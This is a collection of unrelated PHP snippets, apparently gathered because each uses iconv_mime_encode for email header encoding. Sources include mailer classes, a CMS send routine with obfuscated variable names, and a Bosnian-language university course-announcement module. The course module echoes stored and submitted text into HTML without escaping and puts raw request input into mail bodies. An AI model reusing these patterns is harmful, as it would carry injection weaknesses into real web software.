iconv_mime_encode('Subject', $filtered_subject, $preferences); $filtered_subject = substr($filtered_subject, strlen('Subject:')); } /** * User headers, if any */ $recipient_headers = apply_filters('bbpnns_extra_headers_recipient', $headers, $user_info, $filtered_subject, $filtered_body); do_action('bbpnns_before_wp_mail', $user_info, $filtered_subject, $filtered_body, $recipient_headers); // Turn on nl2br for wpMandrill add_filter('mandrill_nl2br', array($this, 'handle_mandrill_nl2br'), 10, 2); if (!wp_mail($email, $filtered_subject, $filtered_body, $recipient_headers)) { do_action('bbpnns_email_failed_single_user', $user_info, $filtered_subject, $filtered_body, $recipient_headers); do_action('bbpnns_after_wp_mail', $user_info, $filtered_subject, $filtered_body, $recipient_headers); // Turn off nl2br for wpMandrill remove_filter('mandrill_nl2br', array($this, 'handle_mandrill_nl2br'), 10); continue; } do_action('bbpnns_after_wp_mail', $user_info, $filtered_subject, $filtered_body, $recipient_headers); // Turn off nl2br for wpMandrill remove_filter('mandrill_nl2br', array($this, 'handle_mandrill_nl2br'), 10); do_action('bbpnns_after_email_sent_single_user', $user_info, $filtered_subject, $filtered_body); } } do_action('bbpnns_after_email_sent_all_users', $recipients, $filtered_subject, $filtered_body); if (true === apply_filters('bbpnns_dry_run', false)) { return array($recipients, $body); } return true; }
/** * Test if is possible apply MIME-encoding * * @param string $value * @return bool */ public static function canBeEncoded($value) { $encoded = iconv_mime_encode('x-test', $value, array('scheme' => 'Q')); return false !== $encoded; }
public function mimeEncode(string $fieldName, string $fieldValue, array $preferences = NULL) : string { return iconv_mime_encode($fieldName, $fieldValue, $preferences); }
/** * Converts a 8 bit header to a quoted-printable string. * @param string * @param string * @param int * @return string */ private static function encodeHeader($s, &$offset = 0) { $o = ''; if ($offset >= 55) { // maximum for iconv_mime_encode $o = self::EOL . "\t"; $offset = 1; } if (strspn($s, "!\"#\$%&\\'()*+,-./0123456789:;<>@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^`abcdefghijklmnopqrstuvwxyz{|}=? _\r\n\t") === strlen($s) && $offset + strlen($s) <= self::LINE_LENGTH) { $offset += strlen($s); return $o . $s; } $o .= str_replace("\n ", "\n\t", substr(iconv_mime_encode(str_repeat(' ', $offset), $s, array('scheme' => 'B', 'input-charset' => 'UTF-8', 'output-charset' => 'UTF-8')), $offset + 2)); $offset = strlen($o) - strrpos($o, "\n"); return $o; }
<?php function my_error_handler($errno, $errmsg, $filename, $linenum, $vars) { echo "{$errno}: {$errmsg}\n"; } set_error_handler('my_error_handler'); $preference = array("scheme" => "B", "output-charset" => "ISO-2022-JP", "input-charset" => "EUC-JP", "line-break-chars" => "\n"); for ($line_len = 0; $line_len < 80; ++$line_len) { print "-------- line length={$line_len}\n"; $preference["line-length"] = $line_len; $result = iconv_mime_encode("From", "サンプル文字列サンプル文字列日本語テキスト", $preference); var_dump($result); if ($result !== false) { $max = max(array_map("strlen", explode("\n", $result))); print "-------- "; var_dump($max <= $line_len); } else { print "-------- \n"; } }
/** * Converts a 8 bit header to a string. * @param string * @param int * @param bool * @return string */ private static function encodeHeader($s, &$offset = 0, $quotes = FALSE) { if (strspn($s, "!\"#\$%&\\'()*+,-./0123456789:;<>@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^`abcdefghijklmnopqrstuvwxyz{|}~=? _\r\n\t") === strlen($s)) { if ($quotes && preg_match('#[^ a-zA-Z0-9!\\#$%&\'*+/?^_`{|}~-]#', $s)) { // RFC 2822 atext except = return self::append('"' . addcslashes($s, '"\\') . '"', $offset); } return self::append($s, $offset); } $o = ''; if ($offset >= 55) { // maximum for iconv_mime_encode $o = self::EOL . "\t"; $offset = 1; } $s = iconv_mime_encode(str_repeat(' ', $old = $offset), $s, array('scheme' => 'B', 'input-charset' => 'UTF-8', 'output-charset' => 'UTF-8')); $offset = strlen($s) - strrpos($s, "\n"); $s = str_replace("\n ", "\n\t", substr($s, $old + 2)); // adds ': ' return $o . $s; }
public function send() { if ($this->is_sended) { return true; } if ($this->content != "") { $this->arrHeaders["From"] = ($this->from_name ? "\"" . $this->from_name . "\" " : "") . "<" . $this->from_email . ">"; $this->arrHeaders["X-Mailer"] = "UMI.CMS"; if (sizeof($this->reply_to)) { $this->arrHeaders["Reply-To"] = implode(", ", $this->reply_to); } if (sizeof($this->copy)) { $this->arrHeaders["Cc"] = implode(", ", $this->copy); } if (sizeof($this->hidden_copy)) { $this->arrHeaders["Bcc"] = implode(", ", $this->hidden_copy); } $this->arrHeaders["X-Priority"] = $this->priority; $v9a0364b9e99bb480dd25e1f0284c8555 = $this->parseContent(); foreach ($this->arrContentImages as $va83269b957a782de9de17b330b439574 => $v7c610e4d8f0bc3df13a676914dbc6224) { if (!isset($this->arrAttachmentsImages[$v7c610e4d8f0bc3df13a676914dbc6224])) { continue; } $v8b9f60798e84fcd02a6f16731fad0d75 = $this->arrAttachmentsImages[$v7c610e4d8f0bc3df13a676914dbc6224]; $vaa5bb0b328edf04bdeade3062181e7ae = array('/(\\s)((?i)src|background|href(?-i))\\s*=\\s*(["\']?)' . preg_quote($va83269b957a782de9de17b330b439574, '/') . '\\3/', '/(?i)url(?-i)\\(\\s*(["\']?)' . preg_quote($va83269b957a782de9de17b330b439574, '/') . '\\1\\s*\\)/'); $v765a7aaaad7c01a34106aa80b74e28b7 = array('\\1\\2=\\3cid:' . $v8b9f60798e84fcd02a6f16731fad0d75['cid'] . '\\3', 'url(\\1cid:' . $v8b9f60798e84fcd02a6f16731fad0d75['cid'] . '\\2)'); $v9a0364b9e99bb480dd25e1f0284c8555 = preg_replace($vaa5bb0b328edf04bdeade3062181e7ae, $v765a7aaaad7c01a34106aa80b74e28b7, $v9a0364b9e99bb480dd25e1f0284c8555); } foreach ($this->files as $v3b569bcd1bf089908a7a85ead9f9ab9a) { $this->addAttachment($v3b569bcd1bf089908a7a85ead9f9ab9a->getFilePath()); } $v46f2f0d388f714c268d510d3ddbdfe88 = (bool) count($this->arrAttachments); $va491666beca97718aeb4d201ac898bb5 = (bool) count($this->arrAttachmentsImages); $vcae3e24516df3c71ced3f01fc0ee6c65 = (bool) strlen($v9a0364b9e99bb480dd25e1f0284c8555); $vdb9129f4c75531384e13d0a0d7dae6e9 = (bool) strlen($this->sTxtBody); $v69476a86c388a5b8e4e18eeaea2ae2ba = !$vcae3e24516df3c71ced3f01fc0ee6c65 && (bool) strlen($v9a0364b9e99bb480dd25e1f0284c8555); $vd6d25fae8ec76ccadc5deee4ee0c4896 = new umiMimePart('', array()); switch (true) { case $v69476a86c388a5b8e4e18eeaea2ae2ba && !$v46f2f0d388f714c268d510d3ddbdfe88: $vd6d25fae8ec76ccadc5deee4ee0c4896 = $vd6d25fae8ec76ccadc5deee4ee0c4896->addTextPart($this->sTxtBody); break; case !$vcae3e24516df3c71ced3f01fc0ee6c65 && !$vdb9129f4c75531384e13d0a0d7dae6e9 && $v46f2f0d388f714c268d510d3ddbdfe88: $vd6d25fae8ec76ccadc5deee4ee0c4896 = $vd6d25fae8ec76ccadc5deee4ee0c4896->addMixedPart(); foreach ($this->arrAttachments as $v5d659066115284c2f4023431d517fe38) { $vd6d25fae8ec76ccadc5deee4ee0c4896->addAttachmentPart($v5d659066115284c2f4023431d517fe38); } break; case $v69476a86c388a5b8e4e18eeaea2ae2ba && $v46f2f0d388f714c268d510d3ddbdfe88: $vd6d25fae8ec76ccadc5deee4ee0c4896 = $vd6d25fae8ec76ccadc5deee4ee0c4896->addMixedPart(); $vd6d25fae8ec76ccadc5deee4ee0c4896->addTextPart($this->sTxtBody); foreach ($this->arrAttachments as $v5d659066115284c2f4023431d517fe38) { $vd6d25fae8ec76ccadc5deee4ee0c4896->addAttachmentPart($v5d659066115284c2f4023431d517fe38); } break; case $vcae3e24516df3c71ced3f01fc0ee6c65 && !$va491666beca97718aeb4d201ac898bb5 && !$v46f2f0d388f714c268d510d3ddbdfe88: $vd6d25fae8ec76ccadc5deee4ee0c4896 = $vd6d25fae8ec76ccadc5deee4ee0c4896->addMixedPart(); if ($vdb9129f4c75531384e13d0a0d7dae6e9) { $vb09cfd144243e0299ce0a896ca163843 = $vd6d25fae8ec76ccadc5deee4ee0c4896->addAlternativePart(); $vb09cfd144243e0299ce0a896ca163843->addTextPart($this->sTxtBody); $vb09cfd144243e0299ce0a896ca163843->addHtmlPart($v9a0364b9e99bb480dd25e1f0284c8555); } else { $vd6d25fae8ec76ccadc5deee4ee0c4896 = $vd6d25fae8ec76ccadc5deee4ee0c4896->addHtmlPart($v9a0364b9e99bb480dd25e1f0284c8555); } break; case $vcae3e24516df3c71ced3f01fc0ee6c65 && $va491666beca97718aeb4d201ac898bb5 && !$v46f2f0d388f714c268d510d3ddbdfe88: $vd6d25fae8ec76ccadc5deee4ee0c4896 = $vd6d25fae8ec76ccadc5deee4ee0c4896->addRelatedPart(); if ($vdb9129f4c75531384e13d0a0d7dae6e9) { $vb09cfd144243e0299ce0a896ca163843 = $vd6d25fae8ec76ccadc5deee4ee0c4896->addAlternativePart(); $vb09cfd144243e0299ce0a896ca163843->addTextPart($this->sTxtBody); $vb09cfd144243e0299ce0a896ca163843->addHtmlPart($v9a0364b9e99bb480dd25e1f0284c8555); } else { $vd6d25fae8ec76ccadc5deee4ee0c4896->addHtmlPart($v9a0364b9e99bb480dd25e1f0284c8555); } foreach ($this->arrAttachmentsImages as $v8b9f60798e84fcd02a6f16731fad0d75) { $vd6d25fae8ec76ccadc5deee4ee0c4896->addHtmlImagePart($v8b9f60798e84fcd02a6f16731fad0d75); } break; case $vcae3e24516df3c71ced3f01fc0ee6c65 && !$va491666beca97718aeb4d201ac898bb5 && $v46f2f0d388f714c268d510d3ddbdfe88: $vd6d25fae8ec76ccadc5deee4ee0c4896 = $vd6d25fae8ec76ccadc5deee4ee0c4896->addMixedPart(); if ($vdb9129f4c75531384e13d0a0d7dae6e9) { $vb09cfd144243e0299ce0a896ca163843 = $vd6d25fae8ec76ccadc5deee4ee0c4896->addAlternativePart(); $vb09cfd144243e0299ce0a896ca163843->addTextPart($this->sTxtBody); $vb09cfd144243e0299ce0a896ca163843->addHtmlPart($v9a0364b9e99bb480dd25e1f0284c8555); } else { $vd6d25fae8ec76ccadc5deee4ee0c4896->addHtmlPart($v9a0364b9e99bb480dd25e1f0284c8555); } foreach ($this->arrAttachments as $v5d659066115284c2f4023431d517fe38) { $vd6d25fae8ec76ccadc5deee4ee0c4896->addAttachmentPart($v5d659066115284c2f4023431d517fe38); } break; case $vcae3e24516df3c71ced3f01fc0ee6c65 && $va491666beca97718aeb4d201ac898bb5 && $v46f2f0d388f714c268d510d3ddbdfe88: $vd6d25fae8ec76ccadc5deee4ee0c4896 = $vd6d25fae8ec76ccadc5deee4ee0c4896->addMixedPart(); if ($vdb9129f4c75531384e13d0a0d7dae6e9) { $vb09cfd144243e0299ce0a896ca163843 = $vd6d25fae8ec76ccadc5deee4ee0c4896->addAlternativePart(); $vb09cfd144243e0299ce0a896ca163843->addTextPart($this->sTxtBody); $v692f1e5fb84fbda80e99a0ce848bc2b1 = $vb09cfd144243e0299ce0a896ca163843->addRelatedPart(); } else { $v692f1e5fb84fbda80e99a0ce848bc2b1 = $vd6d25fae8ec76ccadc5deee4ee0c4896->addRelatedPart(); } $v692f1e5fb84fbda80e99a0ce848bc2b1->addHtmlPart($v9a0364b9e99bb480dd25e1f0284c8555); foreach ($this->arrAttachmentsImages as $v8b9f60798e84fcd02a6f16731fad0d75) { $v692f1e5fb84fbda80e99a0ce848bc2b1->addHtmlImagePart($v8b9f60798e84fcd02a6f16731fad0d75); } foreach ($this->arrAttachments as $v5d659066115284c2f4023431d517fe38) { $vd6d25fae8ec76ccadc5deee4ee0c4896->addAttachmentPart($v5d659066115284c2f4023431d517fe38); } break; } $v766454ac4fb7a41c6ebf95bfb8130318 = $vd6d25fae8ec76ccadc5deee4ee0c4896->encodePart(); $this->mess_body = $v766454ac4fb7a41c6ebf95bfb8130318['body']; $v99b7ac2b500826e1b6e5496c094befbe = $this->getHeaders($v766454ac4fb7a41c6ebf95bfb8130318['headers'], true); $v5c27dddc7f7c23c046aa4f514147f839 = ""; foreach ($v99b7ac2b500826e1b6e5496c094befbe as $vcba6edd8118e56459daee1a4a52365e1 => $v2c0f0eef009b52594d1845816b697bed) { $v5c27dddc7f7c23c046aa4f514147f839 .= $vcba6edd8118e56459daee1a4a52365e1 . ": " . $v2c0f0eef009b52594d1845816b697bed . umiMimePart::UMI_MIMEPART_CRLF; } foreach ($this->recipients as $ve6a967f2c984f079715d7daa3f9b5f90) { $v4b5789f850e658bcfb56173ae0a5b7ca = trim(str_replace("\n", " ", $ve6a967f2c984f079715d7daa3f9b5f90[1])); $v0a1cb7958085865f48edbe2a30158589 = trim($ve6a967f2c984f079715d7daa3f9b5f90[0]); if (!strlen($v0a1cb7958085865f48edbe2a30158589)) { continue; } $v22c7ae03c1d7ec9ffafe48c116510eed = $v0a1cb7958085865f48edbe2a30158589; if (strlen($v4b5789f850e658bcfb56173ae0a5b7ca)) { $v22c7ae03c1d7ec9ffafe48c116510eed = iconv_mime_encode("", $ve6a967f2c984f079715d7daa3f9b5f90[1], array('input-charset' => 'UTF-8', 'output-charset' => 'UTF-8', 'line-break-chars' => '')); $v22c7ae03c1d7ec9ffafe48c116510eed = ltrim($v22c7ae03c1d7ec9ffafe48c116510eed, " :"); $v22c7ae03c1d7ec9ffafe48c116510eed .= " <" . $v0a1cb7958085865f48edbe2a30158589 . ">"; } $v18510ea4e30a52ff7b53e7b5e2691d83 = ""; if (strlen($this->subject)) { $v18510ea4e30a52ff7b53e7b5e2691d83 = iconv_mime_encode("", $this->subject, array('input-charset' => 'UTF-8', 'output-charset' => 'UTF-8', 'line-break-chars' => '')); $v18510ea4e30a52ff7b53e7b5e2691d83 = ltrim($v18510ea4e30a52ff7b53e7b5e2691d83, " :"); } $v6da648158add0c53655351ff6ac29a12 = mail($v22c7ae03c1d7ec9ffafe48c116510eed, $v18510ea4e30a52ff7b53e7b5e2691d83, $this->mess_body, $v5c27dddc7f7c23c046aa4f514147f839); $v161c9aaa4fe035e7b2f465bc59f3ab45 = new umiEventPoint("core_sendmail"); $v161c9aaa4fe035e7b2f465bc59f3ab45->setParam("to", $v22c7ae03c1d7ec9ffafe48c116510eed); $v161c9aaa4fe035e7b2f465bc59f3ab45->setParam("subject", $v18510ea4e30a52ff7b53e7b5e2691d83); $v161c9aaa4fe035e7b2f465bc59f3ab45->setParam("body", $this->mess_body); $v161c9aaa4fe035e7b2f465bc59f3ab45->setParam("headers", $v5c27dddc7f7c23c046aa4f514147f839); $v161c9aaa4fe035e7b2f465bc59f3ab45->setMode("after"); $v161c9aaa4fe035e7b2f465bc59f3ab45->call(); } $this->is_sended = true; } else { return false; } }
/** * @return string */ public function EncodedValue() { $sResult = $this->sFullValue; if ($this->IsSubject()) { if (!\MailSo\Base\Utils::IsAscii($sResult) && \MailSo\Base\Utils::IsIconvSupported() && \function_exists('iconv_mime_encode')) { $aPreferences = array('scheme' => \MailSo\Base\Enumerations\Encoding::BASE64_SHORT, 'input-charset' => \MailSo\Base\Enumerations\Charset::UTF_8, 'output-charset' => \MailSo\Base\Enumerations\Charset::UTF_8, 'line-length' => \MailSo\Mime\Enumerations\Constants::LINE_LENGTH, 'line-break-chars' => \MailSo\Mime\Enumerations\Constants::CRLF); return \iconv_mime_encode($this->Name(), $sResult, $aPreferences); } } else { if ($this->IsParameterized() && $this->oParameters && 0 < $this->oParameters->Count()) { $sResult = $this->sValue . '; ' . $this->oParameters->ToString(true); } else { if ($this->IsEmail()) { $oEmailCollection = \MailSo\Mime\EmailCollection::NewInstance($this->sFullValue); if ($oEmailCollection && 0 < $oEmailCollection->Count()) { $sResult = $oEmailCollection->ToString(true, false); } } } } return $this->NameWithDelimitrom() . $this->wordWrapHelper($sResult); }
public function encodeString($string, $charset) { $encoded = iconv_mime_encode('Header', $string, array('scheme' => 'Q', 'output-charset' => $charset, 'line-length' => 998)); $encoded = str_replace('Header: ', '', $encoded); return $encoded; }
/** * (mime) encode some headers ('subject', 'from', 'to', ...) * * @param string $_header * @return string * * @todo support multiple to, ... headers */ protected function _fixHeaderEncoding($_header) { $result = $_header; $encoding = extension_loaded('mbstring') ? mb_detect_encoding($result) : 'unknown'; if ($encoding !== 'ASCII' && preg_match('/[^\\x20-\\x7E]*/', $result)) { if (Tinebase_Core::isLogLevel(Zend_Log::DEBUG)) { Tinebase_Core::getLogger()->debug(__METHOD__ . '::' . __LINE__ . ' Non-ASCII character (encoding:' . $encoding . ') detected, mime encode some headers.'); } foreach (array('subject', 'from', 'to', 'cc', 'bcc') as $field) { if (preg_match('/' . $field . ': (.*?[\\n][\\s]*?)/i', $result, $matches)) { if (Tinebase_Core::isLogLevel(Zend_Log::TRACE)) { Tinebase_Core::getLogger()->trace(__METHOD__ . '::' . __LINE__ . ' ' . print_r($matches, TRUE)); } $headerValue = str_replace("\n", '', $matches[1]); $headerValue = Tinebase_Helper::mbConvertTo($headerValue); $headerString = iconv_mime_encode(ucfirst($field), $headerValue); $result = str_replace($matches[0], $headerString . "\n", $result); } } if (Tinebase_Core::isLogLevel(Zend_Log::TRACE)) { Tinebase_Core::getLogger()->trace(__METHOD__ . '::' . __LINE__ . ' ' . $result); } } return $result; }
function nastavnik_obavjestenja() { global $userid, $user_siteadmin, $conf_ldap_domain; // Parametri $predmet = intval($_REQUEST['predmet']); $ag = intval($_REQUEST['ag']); // Naziv predmeta $q10 = myquery("select naziv from predmet where id={$predmet}"); if (mysql_num_rows($q10) < 1) { biguglyerror("Nepoznat predmet"); zamgerlog("ilegalan predmet {$predmet}", 3); //nivo 3: greska zamgerlog2("nepoznat predmet", $predmet); return; } $predmet_naziv = mysql_result($q10, 0, 0); // Da li korisnik ima pravo ući u modul? if (!$user_siteadmin) { $q10 = myquery("select nivo_pristupa from nastavnik_predmet where nastavnik={$userid} and predmet={$predmet} and akademska_godina={$ag}"); if (mysql_num_rows($q10) < 1 || mysql_result($q10, 0, 0) == "asistent") { zamgerlog("nastavnik/ispiti privilegije (predmet pp{$predmet})", 3); zamgerlog2("nije nastavnik na predmetu", $predmet, $ag); biguglyerror("Nemate pravo pristupa ovoj opciji"); return; } } ?> <p> </p> <p><h3><?php echo $predmet_naziv; ?> - Obavještenja za studente</h3></p> <script language="JavaScript"> function upozorenje(obavjest) { var a = confirm("Želite li obrisati ovo obavještenje? Ako ste odabrali opciju Slanje maila, ne možete poništiti njen efekat!"); if (a) { document.brisanjeobavjestenja.obavjestenje.value=obavjest; document.brisanjeobavjestenja.submit(); } } </script> <?php echo genform("POST", "brisanjeobavjestenja"); ?> <input type="hidden" name="akcija" value="obrisi_obavjestenje"> <input type="hidden" name="obavjestenje" value=""></form> <?php // LEGENDA tabele poruke // Tip: // 1 - obavjestenja // 2 - lične poruke // Opseg: // 0 - svi korisnici Zamgera // 1 - svi studenti // 2 - svi nastavnici // 3 - svi studenti na studiju (primalac - id studija) // 4 - svi studenti na godini (primalac - id akademske godine) // 5 - svi studenti na predmetu (primalac - id predmeta) // 6 - korisnik (primalac - user id) // Parametri $naslov = $tekst = ""; $citava = intval($_REQUEST['citava']); $izmijeni = intval($_REQUEST['izmijeni']); // Brisanje obavjestenja if ($_POST['akcija'] == "obrisi_obavjestenje" && check_csrf_token()) { $obavjestenje = intval($_POST['obavjestenje']); // Provjera predmeta $q15 = myquery("select primalac, opseg from poruka where id={$obavjestenje}"); if (mysql_num_rows($q15) < 1) { zamgerlog("poruka {$obavjestenje} ne postoji", 3); zamgerlog2("nepostojeca poruka", $obavjestenje); nicemessage("Pogrešan ID poruke! Poruka nije obrisana"); } else { // Provjeravamo prava za brisanje $primalac = mysql_result($q15, 0, 0); $opseg = mysql_result($q15, 0, 1); if ($opseg == 5 && $primalac != $predmet) { zamgerlog("poruka {$obavjestenje} nije za predmet pp{$predmet} nego pp{$primalac}", 3); zamgerlog2("primalac poruke ne odgovara predmetu", $obavjestenje, $predmet, $ag); nicemessage("Pogrešan ID poruke! Poruka nije obrisana"); return; } else { if ($opseg == 6) { $q17 = myquery("select predmet, akademska_godina from labgrupa where id={$primalac}"); if (mysql_result($q17, 0, 0) != $predmet || mysql_result($q17, 0, 1) != $ag) { zamgerlog("poruka {$obavjestenje} je za labgrupu {$primalac} koja nije sa pp{$predmet}", 3); zamgerlog2("primalac poruke ne odgovara labgrupi", $obavjestenje, $predmet, $ag); nicemessage("Pogrešan ID poruke! Poruka nije obrisana"); return; } } } $q20 = myquery("delete from poruka where id={$obavjestenje}"); zamgerlog("obrisano obavjestenje (id {$obavjestenje} )", 2); zamgerlog2("obrisana poruka", $obavjestenje); } } // Novo obavještenje / izmjena obavještenja if ($_POST['akcija'] == 'novo' && check_csrf_token()) { $naslov = my_escape($_REQUEST['naslov']); $tekst = my_escape($_REQUEST['tekst']); $primalac = intval($_REQUEST['primalac']); if ($_REQUEST['email']) { $email = 1; } else { $email = 0; } $io = intval($_REQUEST['izmjena_obavjestenja']); if (strlen($naslov) < 5) { zamgerlog("tekst vijesti je prekratak ({$naslov})", 3); zamgerlog2("tekst poruke je prekratak", 0, 0, 0, $naslov); niceerror("Tekst vijesti je prekratak"); } else { if ($io > 0) { $q6 = myquery("update poruka set tip=1, opseg=5, primalac={$predmet}, posiljalac={$userid}, ref=0, naslov='{$naslov}', tekst='{$tekst}' where id={$io}"); zamgerlog("izmjena obavjestenja (id {$io})", 2); zamgerlog2("poruka izmijenjena", $io); } else { if ($primalac > 0) { $q6 = myquery("insert into poruka set tip=1, opseg=6, primalac={$primalac}, posiljalac={$userid}, vrijeme=NOW(), ref=0, naslov='{$naslov}', tekst='{$tekst}'"); $io = mysql_insert_id(); // Upit za spisak studenata u grupi $upit = "select o.id, o.ime, o.prezime from osoba as o, student_labgrupa as sl where sl.labgrupa={$primalac} and sl.student=o.id"; } else { $q6 = myquery("insert into poruka set tip=1, opseg=5, primalac={$predmet}, posiljalac={$userid}, vrijeme=NOW(), ref=0, naslov='{$naslov}', tekst='{$tekst}'"); $io = mysql_insert_id(); // Upit za spisak studenata na predmetu $upit = "select o.id, o.ime, o.prezime from osoba as o, student_predmet as sp, ponudakursa as pk where sp.predmet=pk.id and pk.predmet={$predmet} and pk.akademska_godina={$ag} and sp.student=o.id"; } // Šaljem mail studentima if ($email == 1) { // Podaci za konverziju naših slova $nasaslova = array("č", "ć", "đ", "š", "ž", "Č", "Ć", "Đ", "Š", "Ž"); $beznasihslova = array("c", "c", "d", "s", "z", "C", "C", "D", "S", "Z"); // Subject email poruke $subject = "OBAVJEŠTENJE: {$predmet_naziv}"; if ($primalac > 0) { $q8 = myquery("select naziv from labgrupa where id={$primalac}"); $subject .= " (" . mysql_result($q8, 0, 0) . ")"; } $subject = iconv("UTF-8", "ISO-8859-2", $subject); // neki mail klijenti ne znaju prikazati utf-8 u subjektu $preferences = array("input-charset" => "ISO-8859-2", "output-charset" => "ISO-8859-2", "line-length" => 76, "line-break-chars" => "\n"); $preferences["scheme"] = "Q"; // quoted-printable $subject = iconv_mime_encode("", $subject, $preferences); // Vraćamo naslov i tekst obavještenja koji su ranije escapovani // mail() nema poznatih eksploita po tom pitanju $naslov = $_REQUEST['naslov']; $tekst = $_REQUEST['tekst']; $mail_body = "\n=== OBAVJEŠTENJE ZA STUDENTE ===\n\nNastavnik ili saradnik na predmetu {$predmet_naziv} poslao vam je sljedeće obavještenje:\n\n{$naslov}\n\n{$tekst}"; // Podaci za from polje $q9 = myquery("select o.ime, o.prezime from osoba as o where o.id={$userid}"); $from = mysql_result($q9, 0, 0) . " " . mysql_result($q9, 0, 1); $from = str_replace($nasaslova, $beznasihslova, $from); $q9a = myquery("SELECT adresa FROM email WHERE osoba={$userid} ORDER BY sistemska DESC, id"); if (mysql_num_rows($q9a) < 1) { niceerror("Ne možemo poslati mail jer nemate definisanu adresu."); print "Da bi se mail mogao poslati, mora biti definisana odlazna adresa (adresa pošiljaoca). Molimo vas da u vašem <a href=\"?sta=common/profil\">profilu</a> podesite vašu e-mail adresu."; return 0; } $from .= " <" . mysql_result($q9a, 0, 0) . ">"; $add_header = "From: {$from}\r\nContent-Type: text/plain; charset=utf-8\r\n"; $broj = 0; $q7 = myquery($upit); while ($r7 = mysql_fetch_row($q7)) { $student_id = $r7[0]; $student_ime_prezime = str_replace($nasaslova, $beznasihslova, "{$r7['1']} {$r7['2']}"); // Određujemo email adrese studenta $q9b = myquery("SELECT adresa FROM email WHERE osoba={$student_id} ORDER BY sistemska DESC, id"); $mail_to = ""; $mail_cc = ""; // Prvu adresu stavljamo u To: a sve ostale u Cc: kako bi mail server otkrio eventualne aliase while ($r9b = mysql_fetch_row($q9b)) { if ($mail_to == "") { $mail_to = $r9b[0]; } $mail_cc .= "{$student_ime_prezime} <{$r9b['0']}>; "; } if ($mail_to != "") { // Da li student ima ijednu adresu? mail($mail_to, $subject, $mail_body, "{$add_header}" . "Cc: {$mail_cc}"); nicemessage("Mail poslan za {$student_ime_prezime} <{$mail_to}>"); } } } // if ($email==1)... zamgerlog("novo obavjestenje (predmet pp{$predmet})", 2); zamgerlog2("nova poruka poslana", $io); } $naslov = $tekst = ""; } } // Stara obavjestenja // Obavjestenja od proslih akademskih godina nisu relevantna: $q5 = myquery("select naziv from akademska_godina where id={$ag}"); $manjidatum = intval(mysql_result($q5, 0, 0)) . "-09-01"; $vecidatum = intval(mysql_result($q5, 0, 0) + 1) . "-10-01"; $q10 = myquery("select distinct p.id, UNIX_TIMESTAMP(p.vrijeme), p.naslov, p.tekst, p.opseg, p.primalac from poruka as p, labgrupa as l where p.tip=1 and (p.opseg=5 and p.primalac={$predmet} and p.vrijeme>'{$manjidatum}' and p.vrijeme<'{$vecidatum}' or p.opseg=6 and p.primalac=l.id and l.predmet={$predmet} and l.akademska_godina={$ag}) order by vrijeme"); if (mysql_num_rows($q10) > 0) { print "<p>Do sada unesena obavještenja:</p>\n<ul>\n"; } else { print "<p>Do sada niste unijeli nijedno obavještenje.</p>"; } while ($r10 = mysql_fetch_row($q10)) { if ($obrisi == $r10[0]) { $q20 = myquery("delete from poruka where id={$obrisi}"); zamgerlog("obrisano obavjestenje (id {$obrisi})", 2); zamgerlog2("obrisana poruka", $obrisi); continue; } print "<li><b>(" . date("d.m.Y", $r10[1]) . ")</b> " . $r10[2]; $tekst_poruke = str_replace("\n", "<br/>", $r10[3]); if (strlen($tekst_poruke) > 0) { if ($citava == $r10[0]) { print "<br/><br/>" . $tekst_poruke; } else { print " (<a href=\"?sta=nastavnik/obavjestenja&predmet={$predmet}&ag={$ag}&citava={$r10['0']}\">Dalje...</a>)"; } } if ($izmijeni == $r10[0]) { $naslov = $r10[2]; $tekst = $r10[3]; if ($r10[4] == 5) { $labgrupa = 0; } else { $labgrupa = $r10[5]; } } print "<br/> <a href=\"?sta=nastavnik/obavjestenja&predmet={$predmet}&ag={$ag}&izmijeni={$r10['0']}\">[Izmijeni]</a> <a href=\"javascript:onclick=upozorenje('{$r10['0']}')\">[Obriši]</a></li>\n"; } if (mysql_num_rows($q10) > 0) { print "</ul>\n"; } // Formular za novo obavještenje ?> <hr> <?php echo genform("POST"); ?> <input type="hidden" name="akcija" value="novo"> <?php if ($izmijeni > 0) { ?> <input type="hidden" name="izmjena_obavjestenja" value="<?php echo $izmijeni; ?> "> <p><b>Izmjena postojećeg obavještenja</b></p> <?php } else { ?> <input type="hidden" name="izmjena_obavjestenja" value="0"> <p><b>Unos novog obavještenja</b></p> <?php } ?> <p>Obavještenje za: <select name="primalac" class="default"><option value="0">Sve studente</option> <?php $q20 = myquery("select id,naziv from labgrupa where predmet={$predmet} and akademska_godina={$ag} order by naziv"); while ($r20 = mysql_fetch_row($q20)) { if ($r20[0] == $labgrupa) { $sel = "SELECTED"; } else { $sel = ""; } ?> <option value="<?php echo $r20[0]; ?> " <?php echo $sel; ?> ><?php echo $r20[1]; ?> </option> <?php } ?> </select> <input type="checkbox" name="email" value="1"> Slanje e-maila </p> <p>Kraći tekst (2-3 rečenice):<br/> <textarea rows="5" cols="80" name="naslov"><?php echo $naslov; ?> </textarea> <br/><br/> Detaljan tekst (nije obavezan):<br/> <textarea rows="20" cols="80" name="tekst"><?php echo $tekst; ?> </textarea> <br/><br/> <input type="submit" value=" Pošalji "> <input type="reset" value=" Poništi "> </p></form> <?php }